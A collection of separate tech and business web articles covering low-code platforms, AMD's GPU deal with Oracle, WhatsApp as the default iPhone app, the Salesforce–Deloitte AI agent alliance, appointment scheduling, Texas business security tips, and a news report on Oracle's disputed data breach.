The demand for low-code solutions has surged in 2025, driven by the complexity of modern software requirements and the need for agility. According to industry insights, low-code platforms are expected to be a core component of enterprise IT strategies this year, offering businesses the ability to build and iterate applications while reducing operational costs. Platforms like OutSystems, Mendix, and KovaionAI Builder are leading the charge, providing enterprise-grade solutions that balance ease of use with robust functionality.

Recent Developments in Low-Code for Enterprise Developers

Several advancements in 2025 have solidified low-code’s position as a game-changer for enterprise software development:

1. AI-Powered Low-Code Platforms
   The integration of artificial intelligence (AI) into low-code platforms has taken a significant leap forward. KovaionAI Builder, for instance, leverages AI to automate app development processes, from generating UI designs to suggesting workflows based on business requirements. Microsoft’s PowerApps, part of the Microsoft 365 ecosystem, now incorporates AI-driven features like natural language processing (NLP) to translate user inputs into functional app components. This synergy between AI and low-code empowers enterprise developers to focus on high-value tasks, such as custom integrations and business logic, while the platform handles repetitive coding.
2. Enterprise-Grade Scalability and Security
   Modern low-code platforms are designed with enterprise needs in mind. OutSystems and Mendix, highlighted in recent analyses, offer robust scalability, allowing developers to build applications that can handle millions of users and complex workflows. Security features, such as role-based access control (RBAC) and compliance with regulations like GDPR, are now standard, addressing a key concern for enterprises. Oracle APEX, another notable platform, provides enterprise-grade capabilities with minimal coding, making it a go-to for developers building secure, data-intensive applications.
3. Collaboration Between Business and IT
   Low-code platforms are fostering better collaboration between business stakeholders and IT teams. Mendix, for example, excels in enabling business-IT alignment by allowing non-technical users to contribute to app development while developers handle customizations and integrations. This collaborative approach reduces the traditional friction between departments, ensuring that applications align closely with business goals. Posts on X reflect this sentiment, with users noting that platforms like Mendix and Appian are “great for business/IT collaboration” and “excel in enterprise workflows.”
4. Specialized Use Cases
   Low-code platforms are diversifying to address specific enterprise needs. Retool and Superblocks are gaining traction for building internal tools and admin panels, while Google’s AppSheet transforms spreadsheets into fully functional apps—a boon for enterprises with data-heavy operations. These specialized platforms allow developers to tailor solutions to niche requirements without starting from scratch, saving time and resources.

The Impact of Low-Code on Enterprise Developers

For enterprise developers, low-code platforms are both an opportunity and a paradigm shift:

• Increased Productivity: By automating repetitive tasks like UI design and basic CRUD (Create, Read, Update, Delete) operations, low-code platforms free developers to focus on complex challenges, such as integrating with legacy systems or optimizing performance. A developer using OutSystems, for instance, can deploy an application across multiple environments with a single build, a feature that significantly reduces deployment overhead.
• Skill Evolution: While low-code reduces the need for traditional coding, it demands new skills. Developers must become proficient in platform-specific configurations, API integrations, and understanding business processes. The rise of AI in low-code also means developers need to understand how to leverage AI tools effectively, such as fine-tuning prompts for AI-generated code or workflows.
• Democratization of Development: Low-code empowers citizen developers—non-technical business users—to contribute to app development. While this democratizes innovation, it also places additional responsibility on enterprise developers to oversee governance, ensure security, and maintain quality. Developers are increasingly acting as facilitators, guiding citizen developers while ensuring applications meet enterprise standards.

Challenges and Considerations

Despite its advantages, low-code development presents challenges that enterprise developers must navigate:

• Vendor Lock-In: Many low-code platforms, such as PowerApps and AppSheet, are tightly integrated with their parent ecosystems (Microsoft and Google, respectively). This can lead to vendor lock-in, making it difficult to migrate applications to other platforms or environments. Developers must weigh the benefits of ecosystem integration against the potential for future flexibility.
• Customization Limitations: While low-code platforms excel at rapid development, they can fall short for highly customized applications. Developers may need to resort to traditional coding for complex use cases, which can negate some of the time-saving benefits of low-code. Platforms like Wem, which offers AI-enhanced enterprise solutions, are working to address this by providing more extensible frameworks.
• Governance and Scalability Concerns: As citizen developers contribute more to app development, enterprises face governance challenges. Developers must implement strict oversight to prevent shadow IT—unauthorized applications that can pose security risks. Additionally, while platforms like OutSystems and Mendix are scalable, not all low-code solutions can handle the demands of large-scale enterprise applications, requiring careful evaluation before adoption.

Best Practices for Enterprise Developers Using Low-Code

To maximize the benefits of low-code in 2025, enterprise developers should adopt the following strategies:

1. Choose the Right Platform: Evaluate platforms based on enterprise needs, such as scalability, security, and integration capabilities. For internal tools, Retool or Superblocks may suffice, while data-intensive applications might benefit from Oracle APEX or AppSheet.
2. Implement Governance Frameworks: Establish clear guidelines for citizen developers, including approval processes, security standards, and monitoring mechanisms. This ensures that low-code applications align with enterprise policies.
3. Leverage AI and Automation: Use AI-powered features to automate repetitive tasks and enhance app functionality. For example, KovaionAI Builder’s AI capabilities can suggest workflows, reducing manual configuration time.
4. Plan for Extensibility: Select platforms that allow for custom coding when needed. OutSystems and Mendix, for instance, offer extensibility options, enabling developers to integrate custom logic without abandoning the low-code environment.

The Future of Low-Code in Enterprise Development

Looking ahead, low-code platforms are poised to become even more integral to enterprise software development. The convergence of low-code with AI, as seen in platforms like KovaionAI Builder and Wem, will continue to drive innovation, enabling smarter, more adaptive applications. Additionally, the rise of no-code/low-code platforms is expected to further democratize development, with platforms like AppSheet and PowerApps empowering more business users to contribute to digital transformation.

However, the future also brings challenges. As low-code adoption grows, enterprises must address governance, security, and scalability concerns to ensure sustainable growth. Developers will play a critical role in this evolution, acting as stewards of innovation while maintaining the integrity of enterprise systems.

Transforming Enterprise Software Development

In 2025, low-code development is transforming the enterprise software landscape, offering developers a powerful tool to meet the demands of a rapidly evolving digital world. With platforms like OutSystems, Mendix, and KovaionAI Builder leading the way, enterprise developers can build scalable, secure, and intelligent applications faster than ever before. By embracing low-code, addressing its challenges, and adopting best practices, developers can position themselves—and their organizations—at the forefront of digital transformation. The low-code revolution is here, and for enterprise developers, it’s an opportunity to redefine the future of software development.

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AMD Scores Massive Deal to Provide AI GPUs to Oracle

AMD has scored a massive win, signing a deal to provide Oracle with a cluster of 30,000 GPUs for AI training and development.

AMD has been on a roll, gaining market share against its rival Intel, in both the desktop and server markets. The company has been increasingly making moves in the AI industry and looks to start challenging Nvidia.

In its Q2 earnings call (credit to Investing.com for the transcript), Oracle Chairman and CTO Larry Ellison announced the deal.

In Q3, we signed a multi billion dollar contract with AMD to build a cluster of 30,000 of their latest MI355X GPUs. And all four of the leading cloud security companies, CrowdStrike, Cyber Reason, Newfold Digital and Palo Alto, they all decided to move to the Oracle Cloud. But perhaps most importantly, Oracle has developed a new product called the AI data platform that enables our huge install base of database customers to use the latest AI models from OpenAI, XAI and Meta to analyze all of the data they have stored in their millions of existing Oracle databases. By using Oracle version 23 AI’s vector capabilities, customers can automatically put all of their existing data into the vector format that is understood by AI models. This allows those AI models to learn, understand and analyze every aspect of your company or government agency, instantly unlocking the value in your data while keeping your data private and secure.

Oracle has been making major gains against large cloud rivals, sch as AWS, Microsoft, and Google, thanks to its emphasis on providing secure and performant AI clusters. Ellison pointed to that advantage, highlighting it in the context of the company being part of the Stargate AI project.

The capability we have is to build these huge AI clusters with technology that actually runs faster and more economically than our competitors. So it really is a technology advantage we have over them. If you run faster and you pay by the hour, you cost less. So that technology advantage translates to an economic advantage which allows us to win a lot of these huge deals.

And it’s not just the Stargate deal, which is in our future by the way. We got to over $130,000,000,000 in RPO without any transactions from Stargate. So again, Stargate looks to be the biggest project AI training project out there and we expect that will allow us to grow our RPO even higher in the coming quarters. And we do expect Stargate our first large Stargate contract fairly soon.

Ellison’s Dystopian Vision

Ellison has made clear his Orwellian desire to build a 1984-style AI surveillance system, one that sees everyone be recorded all the time.

“The police will be on their best behavior because we’re constantly recording and watching everything that’s going on,” Ellison said in September 2024. “Citizens will be on their best behavior, because we’re constantly recording everything that is going on. And it’s unimpeachable. The cars have cameras on them. We’re using AI to monitor the video.

“It’s not people that are looking at those cameras; it’s AI that’s looking at the cameras.”

With Oracle firmly entrenched in the Trump administration’s Stargate initiative, Ellison is one step closer to achieving his goal.

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WhatsApp Can Now Be Used As Default Calling And Messaging App On iPhone

The latest bets of WhatsApp brings a major new feature, allowing users to set the app as the native calling and messaging app on the iPhone.

WhatsApp is one of the most the popular messaging platforms, and enjoys ubiquitous status outside the US, providing users with full-featured cross-platform communication. While iMessage is popular within the US, it does not enjoy nearly as much popularity worldwide.

According to WABetaInfo, iPhone users will finally be able to set WhatsApp as their default dialer and messaging app.

WhatsApp Default Dialer – Credit WABetaInfo

As you can see from the attached screenshot, some beta testers can explore a new feature to choose WhatsApp as their preferred app for initiating conversations and making phone calls. Starting with iOS 18.2, Apple has allowed users to select their preferred default apps for various tasks, including calls, messaging, email, web browsing, and password management. This means users are no longer restricted to using Apple’s built-in apps, offering more freedom to customize their communication experience. WhatsApp is now leveraging this change to position itself as a viable alternative for users who rely heavily on its messaging and calling features. For example, after choosing WhatsApp as the default app for messages and calls, it will be the primary option in the contacts app, ensuring a seamless experience when initiating conversations and calls.

The announcement is good news for WhatsApp users, giving them the freedom to use the app in a way that is more convenient and fits with their workflows.

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Salesforce and Deloitte Forge a Strategic Alliance to Scale AI Agents Across Industries: A Game-Changer for Enterprise Digital Marketing

In a move poised to redefine the current state of enterprise digital marketing, Salesforce and Deloitte have announced an expanded strategic partnership aimed at delivering scalable, agentic AI solutions across multiple industries. This collaboration leverages Salesforce’s cutting-edge Agentforce platform and Deloitte’s deep industry expertise to empower organizations with intelligent, autonomous agents capable of transforming customer engagement, operational efficiency, and business outcomes. For digital marketing executives at the enterprise level, this alliance signals a seismic shift in how AI can be harnessed to drive personalized, data-driven strategies at scale.

The Evolution of Agentic AI in Enterprise Marketing

The concept of “agentic AI”—artificial intelligence systems that perceive, reason, and act autonomously—has rapidly ascended from a theoretical buzzword to a tangible business imperative. Unlike traditional AI tools that require constant human prompting, agentic AI operates proactively, integrating seamlessly into workflows to anticipate needs, execute tasks, and optimize processes. For digital marketing leaders, this represents an unprecedented opportunity to move beyond static automation and into a realm of dynamic, self-improving systems.

Salesforce’s Agentforce platform, a cornerstone of this partnership, exemplifies this evolution. Initially launched in 2024, Agentforce has since matured into a robust ecosystem that integrates with Salesforce’s Customer 360, Data Cloud, and a suite of low-code development tools. The platform enables organizations to deploy AI agents that can handle complex, multi-step processes—such as crafting customer journey maps, generating creative briefs, or identifying friction points in real time—without human intervention. Deloitte’s contribution amplifies this capability, bringing a wealth of industry-specific knowledge and a proven track record of implementing transformative technologies across sectors like healthcare, financial services, and government.

A Master Agent for Marketing: Deloitte’s Innovation

Central to this announcement is Deloitte’s unveiling of a new marketing agent powered by Agentforce. Described as a “master” agent, this solution is designed to serve as a digital co-pilot for marketing teams, offering a suite of use cases that span the entire customer lifecycle. From generating data-driven campaign briefs to optimizing omnichannel touchpoints, the agent promises to streamline operations while delivering actionable insights derived from Salesforce’s unified data platform.

For enterprise digital marketing executives, the implications are profound. Consider the challenge of orchestrating a global campaign across diverse markets, each with unique customer behaviors and regulatory nuances. Traditionally, this requires extensive manual coordination, siloed data analysis, and iterative adjustments. Deloitte’s marketing agent, however, can autonomously aggregate real-time data from Salesforce’s Data Cloud, cross-reference it with industry benchmarks, and recommend tailored strategies—all while adapting to shifting trends. This not only accelerates time-to-market but also enhances precision, ensuring that every dollar spent yields maximum ROI.

Moreover, the agent’s ability to pinpoint improvement opportunities within customer journeys addresses a perennial pain point for marketing leaders: the gap between intent and execution. By analyzing engagement metrics, purchase patterns, and sentiment data, the agent can proactively suggest interventions—whether it’s refining a call-to-action, adjusting ad spend, or personalizing content—before performance dips. This predictive agility positions enterprises to stay ahead of competitors in an increasingly crowded digital marketplace.

Beyond Marketing: A Broader Vision for Enterprise Transformation

While the marketing agent is a flagship offering, the Salesforce-Deloitte partnership extends far beyond a single function. The alliance aims to develop a comprehensive suite of industry-specific agents and accelerators tailored to verticals such as financial services, life sciences, and public sector operations. This holistic approach underscores a key insight for digital marketing executives: the future of customer engagement is inextricably linked to broader enterprise ecosystems.

For instance, a financial services firm could deploy an Agentforce-powered agent to synchronize marketing efforts with compliance requirements, ensuring that promotional campaigns align with regulatory standards while still resonating with target audiences. In healthcare, an agent could integrate patient data with marketing initiatives to deliver hyper-personalized wellness content, all while adhering to privacy mandates. These cross-functional synergies amplify the value of digital marketing by embedding it within a larger framework of operational excellence.

Deloitte’s role as a global systems integrator further enhances this vision. With over 15 years of collaboration with Salesforce, the firm brings a nuanced understanding of how to “agentify” every process, workload, and application across an organization. This expertise is critical for enterprises seeking to scale AI beyond pilot projects and into enterprise-wide adoption—a transition that many organizations struggle to navigate. For marketing leaders, this means access to a partner capable of bridging the gap between technical implementation and strategic impact.

The Competitive Edge: Why This Matters Now

The timing of this partnership is no coincidence. As of March 27, 2025, the enterprise AI market is at a tipping point. Competitors like Microsoft, with its Dynamics 365 AI agents, and Google, with its cloud-based AI offerings, are vying for dominance in the agentic AI space. Salesforce and Deloitte’s alliance positions them as frontrunners by combining Salesforce’s market-leading CRM platform with Deloitte’s consulting prowess—a one-two punch that few can rival.

For digital marketing executives, the competitive stakes are high. Customers now expect seamless, personalized experiences across every touchpoint, and brands that fail to deliver risk losing loyalty to more agile rivals. The Salesforce-Deloitte collaboration offers a pathway to meet these expectations at scale, leveraging AI agents to orchestrate experiences that are not only responsive but anticipatory. This capability is particularly critical in industries where customer acquisition costs are rising and retention is paramount.

Financially, the partnership is already showing promise. Salesforce’s stock rose 2% following the announcement, reflecting investor confidence in the revenue potential of Agentforce and its ecosystem of partners. Deloitte, meanwhile, projects significant cost savings and productivity gains—its own Zora AI platform, launched earlier in March, claims to reduce finance team costs by 25% and boost productivity by 40%. If these metrics translate to marketing applications, enterprises could see a transformative shift in their cost-per-acquisition and lifetime value equations.

Challenges and Considerations

Despite the promise, enterprise adoption of agentic AI is not without hurdles. Integration with legacy systems remains a challenge, particularly for organizations with fragmented tech stacks. Data governance, too, is a critical concern—AI agents rely on vast datasets, and ensuring compliance with regulations like GDPR or HIPAA requires robust safeguards. Salesforce and Deloitte have emphasized their commitment to Trustworthy AI principles, but executives will need to scrutinize how these translate into practice.

Additionally, the human element cannot be overlooked. As AI agents assume more responsibilities, marketing teams must adapt to a hybrid workforce where digital and human labor coexist. Upskilling employees to collaborate with these agents—whether through Salesforce’s Trailhead platform or Deloitte’s training programs—will be essential to maximizing their potential. Failure to do so risks creating a disconnect between technology and strategy, undermining the very efficiencies the partnership seeks to deliver.

A Call to Action for Digital Marketing Leaders

For enterprise digital marketing executives, the Salesforce-Deloitte partnership is more than a news story—it’s a clarion call to rethink how AI can elevate their craft. The ability to deploy scalable, industry-specific agents offers a rare chance to break free from the constraints of traditional marketing tools and embrace a future where data, creativity, and automation converge.

The first step is to assess readiness. Executives should evaluate their current data infrastructure, identifying gaps that could hinder agent deployment. Partnering with Salesforce and Deloitte to conduct a proof-of-concept—perhaps starting with the marketing agent—can provide a low-risk entry point to test the waters. Simultaneously, aligning internal stakeholders around a shared vision for AI-driven marketing will ensure buy-in across the C-suite.

As the partnership unfolds, its success will hinge on execution. Salesforce and Deloitte have set an ambitious goal to “agentify” every enterprise process, and digital marketing stands at the forefront of this transformation. For those willing to seize the opportunity, the rewards could be nothing short of revolutionary—ushering in an era where AI doesn’t just support marketing, but redefines it entirely.

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Adapting Appointment Systems for Up-and-Down Seasons

Photo: Freepik

Appointment scheduling shouldn’t feel like a roll of the dice.

But if your business overbooks in peak season and sits empty in slow months, that’s exactly what’s happening.

Empty slots. Overworked staff. No-shows that mess up your day. A calendar that feels out of control.

Smart businesses don’t guess, they use appointment scheduling software to keep appointments full, staff prepared, and revenue steady. With the right system, they fill appointment slots consistently, minimize no-shows, and maintain steady profits.

This article will show you how to control your scheduling, eliminate inefficiencies, and use the best tools to create a system that works—season after season.

Tired of the scheduling chaos? Here’s how the best to do it step by step.

Understanding Up-and-Down Seasons

No business is busy all year. Some months, you’re drowning in bookings. Others, you’re wondering where everyone went.

Retailers brace for holiday chaos. Tax pros grind before deadlines. Salons get slammed before weddings. And if you run an HVAC business? Get ready for the heatwave rush.

Weather also plays a key role. HVAC companies see high service requests during extreme temperatures. Fitness centers fill up in January. Tourism businesses get packed in the summer and slow down in winter.

Understanding these patterns lets businesses prepare ahead of time. With the correct data, they can make more innovative scheduling, staffing, and resources decisions to avoid inefficiencies.

Challenges Faced by Appointment Systems

Ever had a packed schedule one week and crickets the next? Without flexible appointment scheduling software, businesses either overbook and burn out or sit idle and lose money.

Overbooking in busy times creates long waits for guests and employee problems that hurt business profits. When seasons are slow, businesses do not use their staff well enough and perform poorly. Businesses require more employees than needed in slow times while still having trouble handling customer demand when it increases.

No-shows wreck your schedule. Slow seasons make them even worse. Customers cancel at the last minute, leaving gaps that cost you money. Without an adaptive appointment system, businesses suffer inefficiencies, lose revenue, and erode customer trust.

Strategies for Adapting Appointment Systems

To successfully manage seasonal appointment fluctuations, businesses should implement these strategies:

• Adjust appointment availability to match seasonal demand, ensuring the balance between open slots and staff availability.
• Adopting an automated system that sends email and SMS messages to avoid no-shows and late cancellations.
• Offer virtual appointments to manage high-demand periods without overloading physical locations.
• Let customers change appointments by themselves through an automated system.
• Use predictive analytics to forecast seasonal demand and adjust staffing, marketing, and appointment availability accordingly.

For businesses looking to streamline their scheduling process and improve efficiency, you can visit the website for deeper insights into innovative appointment management solutions.

Leveraging Technology for Better Adaptation

Photo: Q-Nomy

Technology can turn unpredictable bookings into a well-oiled system. Here’s how the right tools keep your calendar under control.

By reviewing past data, AI systems forecast usage peaks, allowing companies to arrange better staff hours and decrease client wait times. By monitoring customer activities, businesses learn how their target audience uses the booking platform and detect when booking times reach their highest point. Staff details get improved from this information to serve customers effectively.

Through this solution, companies eliminate booking system differences between platforms. Organizations reduced their phone appointment schedule while permitting customers to book their time online from several platforms. Kiosk systems enabling self-check-ins relieve front-desk staff from high-volume rush activities.

By leveraging digital queue management solutions, businesses can streamline their appointment handling processes, making them more adaptable and efficient throughout seasonal fluctuations.

Customer Communication

As queue management trends evolve, businesses must prioritize clear and proactive communication to enhance the customer experience. Keeping customers informed reduces confusion, improves satisfaction, and strengthens brand loyalty.

Updates about waiting periods and appointments help customers know what to expect. Services that send automatic alerts help patients keep their appointments on time. This strategy lowers the number of customers who cancel their meetings. Timely SMS and email updates from businesses let them reduce missed appointments and run their schedule better.

By seeking customer input, businesses can detect problems with their scheduling systems and make better updates and fixes. Honest appointment policies help customers understand their rights, creating trust between both parties. Organized communication programs help keep customers interested and informed so they remain dedicated to booking appointments again.

The Key to Year-Round Efficiency

Handling seasonal appointment fluctuations requires businesses to be flexible, strategic, and tech-savvy. Companies can maintain efficiency year-round by leveraging queue management trends and optimizing scheduling processes.

Q-nomy helps companies control appointment bookings and waiting-for-line procedures to deal with demand changes. By improving how they talk with customers and use technology, companies can make their appointment process steady and stress-free.

Tired of empty slots or overbooked chaos? What’s worked (or failed) for you? Drop your thoughts below.

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Securing Your Professional Services Business in Texas: A Comprehensive Guide

(Image source)

Operating a professional services business in Texas provides significant potential opportunities and specialized business challenges. Business longevity depends on safeguarding operations for all professionals, ranging from consultants to financial experts in the Texas market. Business stability with growth potential becomes achievable through proactive measures, which include regulatory compliance and client relationship protection.

This guide presents vital guidelines to protect professional services in TX, including legal rules, risk-control methods, and proven business security approaches for market success.

Understanding the Texas Business Landscape

The state of Texas features a well-established business atmosphere, reduced rates, and sustained economic expansion. To achieve business success, professional services companies need to manage existing regulations, market competition, and client demands. Several critical elements must be considered when establishing professional services in TX.

●      The Texas government has introduced unique licensing rules and compliance standards targeting expert service professions.

●      Business stability and client demand change due to economic fluctuations and market trends.

●      A flourishing market environment demands effective self-differentiation among professionals to succeed.

●      Awareness of these operational patterns helps business owners develop strategic decisions to safeguard their operations.

The following strategies form the basis for protecting your professional services business.

1. Establish a Strong Legal Foundation

The first step toward business security involves strict adherence to Texas state laws. Consider the following legal aspects:

●      The selection of your business entity (LLC, LLP, or corporation) will protect you from legal consequences while allowing you to operate with flexibility.

●      Draft every business agreement and contract that specifies expectations between clients, vendors, and staff to minimize disputes that lead to legal conflicts.

●      Proper intellectual property defence calls for businesses to check in their logos, copyrights, and patents to protect their assets and branding factors.

●      Organizations ought to manage industry-precise rules so that they save you operational challenges and compliance consequences.

Your business will achieve sustainable expansion through proper legal groundwork that protects against future risks.

2. Strengthen Data Security and Confidentiality

In professional services firms, where there is great reliance on clients, information and security become the single most important issues. Practical measures, if implemented, can mitigate breaches while assuring the client’s trust. Some of the measures include:

●      Cybersecurity Measures: Protect sensitive information through encryption, firewalls, and good enough security to get admission to controls.

●      Regular Backups: Backup important information and records into the cloud or drives to make sure smooth business continuity.

●      Access Restrictions: Limit the scope of sensitive information to be revealed based on the role for which permission is granted.

●      Employee Confidentiality Training: Train employees on self-imposed confidentiality protocols and legal data protection obligations.

●      The risk of breaches to cybersecurity is mitigated by implementing proactive measures and defending clients’ business integrity.

Build Strong Client Relationships

A good client’s value is one of the most important assets to protect professional services in TX. Their trust and their credibility need constant work. Clients’ relationship boosters include:

●      Transparent communication: Keep clients aware of the project’s progress, problems encountered, and what is expected of them.

●      Service Delivery: Always provide services that go beyond the client’s expectations and prepare to form long-term partnerships with them.

●      Review Mechanisms: Encourage reviews and testimonials to improve service offerings.

●      Payment terms must be clearly outlined to prevent disputes and facilitate straightforward financial operations.

●      Building strong relationships with clients creates business stability and generates positive referrals, increasing your market influence.

4. Develop a Crisis Management Plan

A business faces undefined challenges without warning. Organizations preparing for foreseeable risks decrease operational interruptions while preserving business continuity. The core components which make up a crisis management plan consist of:

●      A risk assessment process should identify the threats, including economic downturns, legal disputes, and cybersecurity threats.

●      Businesses should prepare alternate plans which detail communication strategies in addition to other different response protocols.

●      The business should keep separate funds as financial reserves to respond to unexpected costs and operational deceleration.

●      Legal Support: Have legal professionals available for guidance in case of disputes or compliance issues.

A forward-looking strategy helps businesses successfully handle unforeseen challenges and maintain stable operations.

5. Leverage Digital Marketing and Branding

The foundation of brand dominance becomes crucial in situations where market competition stays high. Implementing digital marketing procedures generates greater exposure and brings in new clients. Key marketing approaches include:

●      Implementing search engine optimization (SEO) techniques improves website positioning in search results, allowing companies to attract more Texas-based potential clients.

●      Through content marketing, partners can distribute beneficial insights by publishing industry-related content, including blogs, case studies, and their generated reports.

●      The company engages with clients through social media by activating LinkedIn, Twitter, and Facebook.

●      The website must display professional expertise with client feedback and detailed service information.

●      The combination of strong online visibility brings two benefits: attracting clients and improving credibility and market standings.

Conclusion

A successful strategy to protect professional services in TX depends on prepared legal measures combined with reliable client bonds and security protocols, as well as strategic marketing initiatives. Implementing these best practices allows business owners to handle challenges while reducing risks and developing a successful, resilient company. By monitoring industry trends and resolving future threats ahead of time professional service providers can succeed in Texas’s changing business sector.

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Oracle Customers Throw Cold Water On Company’s Claim It Was Not Hacked

The Oracle data breach drama continues, with some of the company’s customers verifying the validity of the data hackers claimed to steal from the company.

Last week, data purportedly from six million Oracle customers was put online for sale. The hacker claimed to have exfiltrated the data via a breach of Oracle Cloud federated SSO login servers, as well as other services. According to BleepingComputer, the data included authentication information and encrypted passwords, with the hacker claiming the passwords could be decrypted using the stolen files.

Oracle has denied the hacker’s claims.

“There has been no breach of Oracle Cloud. The published credentials are not for the Oracle Cloud. No Oracle Cloud customers experienced a breach or lost any data,” the company told the outlet last week.

Despite Oracle’s claims, its customers are confirming the validity of the data samples the hackers provided as proof of the breach. BleepingComputer says it reached out to multiple companies who confirmed the data samples were valid.

A Major Embarrassment for Oracle

If the hackers claims are true—and the independent verification from Oracle customers are making this seem more likely—such a breach would be a major embarrassment for Oracle, and at the worst possible time.

Larry Ellison has often touted the company’s cloud security, especially in relation to its larger rivals. Ellison has is also pushing for vast AI surveillance systems, systems in which unimpeachable security would be a requirement.

A possible Oracle data breach is a worst-case scenario for the company, and could undo much of the progress it has made against larger rivals, as well as jeopardize Ellison’s ambitions.

It seems those within the company are aware of the stakes, with the hacker sharing threads with BleepingComputer that show someone purportedly from Oracle insisting that all communication be done via a Proton email account.

“We received your emails. Let’s use this email for all communications from now on. Let me know when you get this.”

If this claim is also true, it underscores the efforts the company may be going to in order to keep a lid on a possible breach.

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